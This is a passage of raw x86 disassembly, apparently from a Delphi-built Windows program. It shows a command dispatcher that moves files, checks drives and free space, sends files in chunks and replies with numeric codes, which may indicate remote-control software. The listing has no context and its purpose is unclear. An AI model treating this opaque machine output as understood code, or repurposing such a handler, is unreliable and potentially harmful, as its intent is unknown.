mov byte [0x53db50], 0
ret
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xa64]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x3c]
mov edx, 1
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x40]
mov edx, 2
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004da9c4
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e4738
mov al, byte [0x5478c0]
call fcn.0046b91c
test al, al
je 0x4e4738
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e4738
lea edx, [ebp - 0xa68]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0xa68]
mov eax, 0x53db44
call fcn.0040460c
lea eax, [ebp - 0xa6c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa6c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53db44]
call fcn.004048d8
jmp 0x4e4742
mov eax, 0x53db44
call fcn.004045b8
lea eax, [ebp - 0xa70]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa70]
call fcn.00404a84
push eax
lea eax, [ebp - 0xa74]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa74]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53db44], 0
je 0x4e47aa
mov eax, 0x53db44
call fcn.004045b8
mov al, byte [0x5478c0]
call fcn.004b0c28
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
lea edx, [ebp - 0xa78]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xa78]
mov eax, 0x5478ac
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5478b0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5478bc], eax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xff
mov byte [0x5478b8], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x300
mov dword [0x5478b4], eax
mov eax, 0x5478ac
call fcn.004da9c4
cmp dword [0x5477e0], 0
je 0x4e486d
lea edx, [ebp - 0xa7c]
mov eax, dword [0x5478ac]
call fcn.00408e1c
mov edx, dword [ebp - 0xa7c]
mov eax, dword [0x5477e0]
call fcn.00404bc8
dec eax
jne 0x4e486d
mov byte [0x5478c0], 1
jmp 0x4e4892
mov eax, dword [0x5478ac]
cmp byte [eax + 1], 0x3a
jne 0x4e488b
mov eax, dword [0x5478ac]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
jmp 0x4e4892
mov byte [0x5478c0], 0
cmp byte [0x5478c0], 0x41
jb 0x4e48fc
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e48fc
lea edx, [ebp - 0xa80]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0xa80]
mov eax, 0x53db44
call fcn.0040460c
lea eax, [ebp - 0xa84]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [0x5478ac]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa84]
mov eax, 0x5478ac
mov edx, dword [0x53db44]
call fcn.004048d8
jmp 0x4e4906
mov eax, 0x53db44
call fcn.004045b8
mov eax, dword [0x5478ac]
call fcn.0040488c
cmp eax, 3
jle case.0x4df632.10
mov eax, dword [0x5478ac]
call fcn.00462e24
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x5478cc], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5478c8], eax
mov eax, dword [ebp - 0x2c]
lea ebx, [eax + 0x20]
mov eax, dword [ebx + 4]
mov dword [0x5478d4], eax
mov eax, dword [ebx + 8]
mov dword [0x5478d8], eax
mov eax, dword [ebx]
mov dword [0x5478d0], eax
mov eax, dword [ebx + 0xc]
mov dword [0x5478dc], eax
cmp byte [0x5478c0], 1
jne 0x4e499d
mov eax, dword [0x5477e0]
call fcn.00471be4
sub eax, dword [0x5478d4]
sbb edx, dword [0x5478d8]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e4a92
cmp dword [0x53db44], 0
je 0x4e4a46
cmp dword [0x5478d8], 0
jne 0x4e49c1
cmp dword [0x5478d4], 0x6400000
jae 0x4e4a06
jmp 0x4e49c3
jge 0x4e4a06
mov al, byte [0x5478c0]
call fcn.004b0d98
push edx
push eax
push 0
push 3
mov eax, dword [0x5478d4]
mov edx, dword [0x5478d8]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x12c00000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e4a92
mov al, byte [0x5478c0]
call fcn.004b0d98
push edx
push eax
push 0
push 2
mov eax, dword [0x5478d4]
mov edx, dword [0x5478d8]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x1f400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e4a92
cmp byte [0x5478c0], 0x41
jb 0x4e4a7e
mov al, byte [0x5478c0]
sub al, 0x41
inc eax
call fcn.00409c0c
sub eax, dword [0x5478d4]
sbb edx, dword [0x5478d8]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e4a92
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4e4aa6
cmp dword [ebp - 0xa8], 0
jae 0x4e4ad1
jmp 0x4e4aa8
jge 0x4e4ad1
xor eax, eax
mov dword [0x53db64], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x5478c8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov al, byte [0x5478cc]
sub al, 2
jb 0x4e4ae1
je 0x4e4b16
jmp case.0x4df632.10
mov byte [0x5478e0], 0
mov dl, 1
mov eax, dword [0x4707e0]
call fcn.0040377c
mov dword [0x53db64], eax
mov dl, 1
mov eax, dword [0x414544]
call fcn.0040377c
mov dword [0x5478e8], eax
xor eax, eax
mov dword [0x5478e4], eax
jmp case.0x4df632.10
mov byte [0x5478e0], 0
lea eax, [ebp - 0xa88]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa88]
mov eax, 0x5478c4
mov edx, dword [0x5478ac]
call fcn.004048d8
mov eax, dword [0x5478c4]
call fcn.004f62d0
lea eax, [ebp - 0xa8c]
mov edx, dword [0x5478c4]
call fcn.00404e90
mov eax, dword [ebp - 0xa8c]
mov dx, 0xffff
call fcn.0046e0b0
mov dword [0x53db64], eax
cmp dword [0x53db64], 0
jne 0x4e4ba4
push 0
push 0
mov eax, dword [0x5478c4]
push eax
push 0
push 0
mov ecx, dword [0x5478c8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
xor eax, eax
push ebp
push 0x4e4bd2
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x5478d8]
push dword [0x5478d4]
mov eax, dword [0x53db64]
call fcn.00463274
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e4bf7
cmp dword [0x53db64], 0
je 0x4e4b7e
push 0
push 0
mov eax, dword [0x53db64]
call fcn.00463214
mov dl, 1
mov eax, dword [0x414544]
call fcn.0040377c
mov dword [0x5478e8], eax
xor eax, eax
mov dword [0x5478e4], eax
jmp case.0x4df632.10
call fcn.004dea48
jmp case.0x4df632.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd1
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5477f4], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
call fcn.00405944
mov dword [0x53da6c], eax
mov dword [0x53da70], edx
cmp dword [0x53da70], 0
jne 0x4e4ca2
cmp dword [0x53da6c], 0
jbe case.0x4df632.10
jmp 0x4e4ca8
jle case.0x4df632.10
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
add eax, dword [0x53da6c]
adc edx, dword [0x53da70]
mov dword [0x53da6c], eax
mov dword [0x53da70], edx
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5477f4], eax
push 0
push 0x3e8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
mov dword [0x53da6c], eax
mov dword [0x53da70], edx
cmp dword [0x53da70], 0
jne 0x4e4d13
cmp dword [0x53da6c], 0
jbe case.0x4df632.10
jmp 0x4e4d19
jle case.0x4df632.10
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
add eax, dword [0x53da6c]
adc edx, dword [0x53da70]
mov dword [0x53da6c], eax
mov dword [0x53da70], edx
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x547654]
cmp eax, edx
jne case.0x4df632.10
mov eax, 0x547804
mov dl, 1
call fcn.004f5498
test al, al
je case.0x4df632.10
mov eax, dword [0x547804]
call fcn.00404eb0
cmp eax, dword [0x547808]
jle 0x4e4da7
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4df632.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
mov eax, dword [0x547804]
call fcn.00404eb0
test eax, eax
jne 0x4e4ddf
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4df632.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xea
jne 0x4e4e12
movzx eax, word [0x547654]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x547804]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004dcbe4
jmp case.0x4df632.10
movzx eax, word [0x547654]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x547804]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004dcbe4
jmp case.0x4df632.10
movzx eax, word [0x547654]
mov edx, dword [ebp - 0x2c]
cmp eax, dword [edx + 0x10]
jne case.0x4df632.10
cmp byte [0x53da84], 0
je case.0x4df632.10
movzx ecx, word [0x547654]
mov edx, 0x13
mov eax, dword [0x547818]
call fcn.004dcd5c
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x547654]
cmp eax, edx
jne case.0x4df632.10
mov eax, dword [0x54780c]
call fcn.004196cc
cmp edx, 0
jne 0x4e4ea6
cmp eax, 0
jbe case.0x4df632.10
jmp 0x4e4eac
jle case.0x4df632.10
movzx ecx, word [0x547654]
mov edx, 0x14
mov eax, dword [0x54780c]
call fcn.004dcd5c
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x547654]
cmp eax, edx
jne case.0x4df632.10
lea edx, [ebp - 0xd0]
mov eax, 0x28
call fcn.004abfb0
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0
jne 0x4e4f18
lea eax, [ebp - 0xa90]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa90]
mov dl, 1
call fcn.004f552c
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 2
jne case.0x4df632.10
lea eax, [ebp - 0xa94]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa94]
mov dl, 1
call fcn.004f55bc
jmp case.0x4df632.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
cmp dword [0x53db64], 0
jne 0x4e4fb0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x5478ec]
jne case.0x4df632.10
cmp byte [0x5478e0], 0
je case.0x4df632.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x5478ec]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x5478c8]
jne case.0x4df632.10
push 0
push 0x400
mov eax, dword [0x5478d4]
mov edx, dword [0x5478d8]
add eax, 0x3ff
adc edx, 0
call fcn.00405968
mov ebx, eax
cmp ebx, dword [0x5478e4]
jbe 0x4e500a
mov edx, dword [0x5478e4]
mov eax, dword [0x5478e8]
call fcn.00416d04
inc dword [0x5478e4]
cmp ebx, dword [0x5478e4]
ja 0x4e4fec
lea eax, [ebp - 0x794]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
lea esi, [eax + 0x20]
mov eax, dword [0x5478e8]
mov ebx, dword [eax + 8]
dec ebx
xor eax, eax
mov dword [ebp - 0x50], eax
test ebx, ebx
jl 0x4e5049
mov edx, ebx
mov eax, dword [0x5478e8]
call fcn.00416e60
mov dword [esi], eax
add esi, 4
dec ebx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x140
jne 0x4e5027
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xfe
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
sub esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
sub eax, 0x20
test eax, eax
jns 0x4e5077
add eax, 3
sar eax, 2
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x5478c8]
mov dword [eax + 0x14], edx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dc518
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53da74], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53da78], eax
jmp case.0x4df632.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0x3c]
call fcn.004da9c4
mov eax, dword [ebp - 0x3c]
call fcn.0046dd20
test al, al
je case.0x4df632.10
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0xa98]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xa98]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xc4]
call fcn.0046eabc
lea edx, [ebp - 0xc0]
mov eax, 1
call fcn.004ab720
mov al, byte [0x4e5f48]
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xaa0]
mov eax, dword [0x53eee8]
mov eax, dword [eax]
call fcn.00409ae8
mov edx, dword [ebp - 0xaa0]
lea eax, [ebp - 0xa9c]
call fcn.00404e90
mov eax, dword [ebp - 0xa9c]
push eax
lea eax, [ebp - 0xaa4]
mov edx, dword [ebp - 0xc0]
call fcn.00404e90
mov edx, dword [ebp - 0xaa4]
mov eax, dword [ebp - 0xb8]
pop ecx
call fcn.00472228
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
call fcn.00404fc8
je case.0x4df632.10
lea eax, [ebp - 0xaa8]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xc4]
call fcn.0046eb98
jmp case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
mov byte [0x53d3d0], 1
call fcn.004dec88
xor edx, edx
mov eax, 4
call fcn.004deca8
jmp case.0x4df632.10
mov al, byte [0x53d3a8]
xor al, 1
mov byte [0x53d3a8], al
cmp byte [0x53d3a8], 0
je 0x4e5231
push 0
call sub.user32.dll_GetDC
mov esi, eax
test esi, esi
je 0x4e5231
push 0x58
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x53d490], eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x53d494], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4e5245
mov dword [0x53d490], 0x60
mov dword [0x53d494], 0x60
call fcn.004d9240
jmp case.0x4df632.10
mov al, byte [0x4e5e08]
push eax
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0xaac]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0xaac]
mov ecx, 0x4e5f54
mov edx, 0x4e5f60
call fcn.0040d9c8
lea eax, [ebp - 0xe0]
call fcn.00404adc
mov dword [ebp - 0xf4], eax
lea edx, [ebp - 0xe4]
lea eax, [ebp - 0xf4]
call fcn.0046c270
lea eax, [ebp - 0xe4]
call fcn.004da9c4
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf4]
call fcn.0046c270
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf4]
call fcn.0046c270
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf4]
call fcn.0046c270
lea eax, [ebp - 0xab0]
mov edx, dword [ebp - 0xec]
call fcn.00404e90
mov eax, dword [ebp - 0xab0]
push eax
lea eax, [ebp - 0xab4]
mov edx, dword [ebp - 0xf0]
call fcn.00404e90
mov eax, dword [ebp - 0xab4]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
lea eax, [ebp - 0xab8]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov ecx, dword [ebp - 0xab8]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0xe4]
call fcn.004e6360
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xfc
jne 0x4e5375
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0xe0]
call fcn.0046e178
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x10]
and ecx, 0xffff
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe0]
call fcn.004e5fec
jmp case.0x4df632.10
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0xe0]
call fcn.004da9c4
mov eax, dword [ebp - 0xe0]
call fcn.0046dd20
test al, al
je case.0x4df632.10
mov dl, 1
mov eax, dword [ebp - 0xe0]
call fcn.004ec7d8
jmp case.0x4df632.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf1
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov byte [0x5478a0], 0
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5478a4], eax
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
call fcn.004030b8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
call fcn.004d8720
mov eax, 3
call fcn.004030b8
mov dword [ebp - 0x50], eax
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x50]
call fcn.004de384
cmp dword [ebp - 0xe0], 0
jne 0x4e549e
lea eax, [ebp - 0xe0]
mov edx, 0x4e5f70
call fcn.00404650
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
call fcn.0040b118
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe0]
mov eax, 0x4e5f80
call fcn.0040bd44
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov ebx, eax
lea eax, [ebp - 0xabc]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov edx, dword [ebp - 0xabc]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe4]
xor edx, edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0xe8]
mov edx, 1
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 2
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 3
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0xe4]
call fcn.004da9c4
lea eax, [ebp - 0xac8]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xac8]
lea ecx, [ebp - 0xac4]
lea edx, [ebp - 0xf8]
call fcn.0046eabc
mov edx, dword [ebp - 0xac4]
lea eax, [ebp - 0xac0]
call fcn.00404854
mov edx, dword [ebp - 0xac0]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xf8], 0xfffffffd
jne 0x4e55f6
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 1
jne 0x4e55f6
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp 0x4e56d0
cmp dword [ebp - 0xf8], 0xfffffffe
jne 0x4e561c
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp 0x4e56d0
mov eax, dword [ebp - 0xec]
push eax
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dl, byte [eax + 0xc]
mov ecx, dword [ebp - 0xe8]
mov eax, ebx
call fcn.004defbc
mov eax, dword [ebp - 0xe4]
call fcn.004f62d0
lea edx, [ebp - 0xad0]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xad0]
lea eax, [ebp - 0xacc]
call fcn.00404e90
mov eax, dword [ebp - 0xacc]
push eax
lea eax, [ebp - 0xad4]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xad4]
mov edx, dword [ebp - 0xf8]
pop ecx
call fcn.0046eb98
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x4e56b8
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp 0x4e56d0
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
mov eax, ebx
call fcn.004037ac
jmp case.0x4df632.10
mov dword [0x547644], 1
jmp case.0x4df632.10
xor eax, eax
call fcn.004f66a4
jmp case.0x4df632.101
call fcn.004f6688
jmp case.0x4df632.101
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0xad8]
mov edx, dword [ebp - 0xe0]
call fcn.00404e90
mov eax, dword [ebp - 0xad8]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xf8]
call fcn.0046eabc
cmp dword [ebp - 0xf8], 0
jl case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [ebp - 0xf8]
je case.0x4df632.10
lea eax, [ebp - 0xadc]
mov edx, dword [ebp - 0xe0]
call fcn.00404e90
mov eax, dword [ebp - 0xadc]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x10]
mov ecx, dword [ebp - 0xb8]
call fcn.0046eb98
jmp case.0x4df632.10
cmp dword [0x53d460], 0
je 0x4e5798
mov dword [ebp - 0x50], 1
jmp 0x4e579d
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xe0]
mov eax, 0x4e5e94
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xae0]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe0]
call fcn.00404ae4
mov eax, dword [ebp - 0xae0]
push eax
lea eax, [ebp - 0xae4]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xae4]
mov edx, 0x4e5f9c
pop ecx
call fcn.0046db80
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xae8]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xae8]
mov edx, 0x4e5fac
call fcn.0046d930
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xaec]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaec]
mov edx, 0x4e5fc0
call fcn.0046d930
lea eax, [ebp - 0xaf0]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe0]
call fcn.00404ae4
mov eax, dword [ebp - 0xaf0]
push eax
lea eax, [ebp - 0xaf4]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaf4]
mov edx, 0x4e5fd4
pop ecx
call fcn.0046db80
jmp case.0x4df632.10
lea edx, [ebp - 0xaf8]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xaf8]
mov eax, 0x54784c
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4 + 0x10]
mov dword [0x53dab0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047c9e8
cmp dword [0x53dab0], 0
jle case.0x4df632.10
mov edx, dword [0x54784c]
mov eax, 0x4e5fe8
call fcn.00404bc8
test eax, eax
jle 0x4e595a
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c7b8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54784c]
call fcn.0047c8b4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
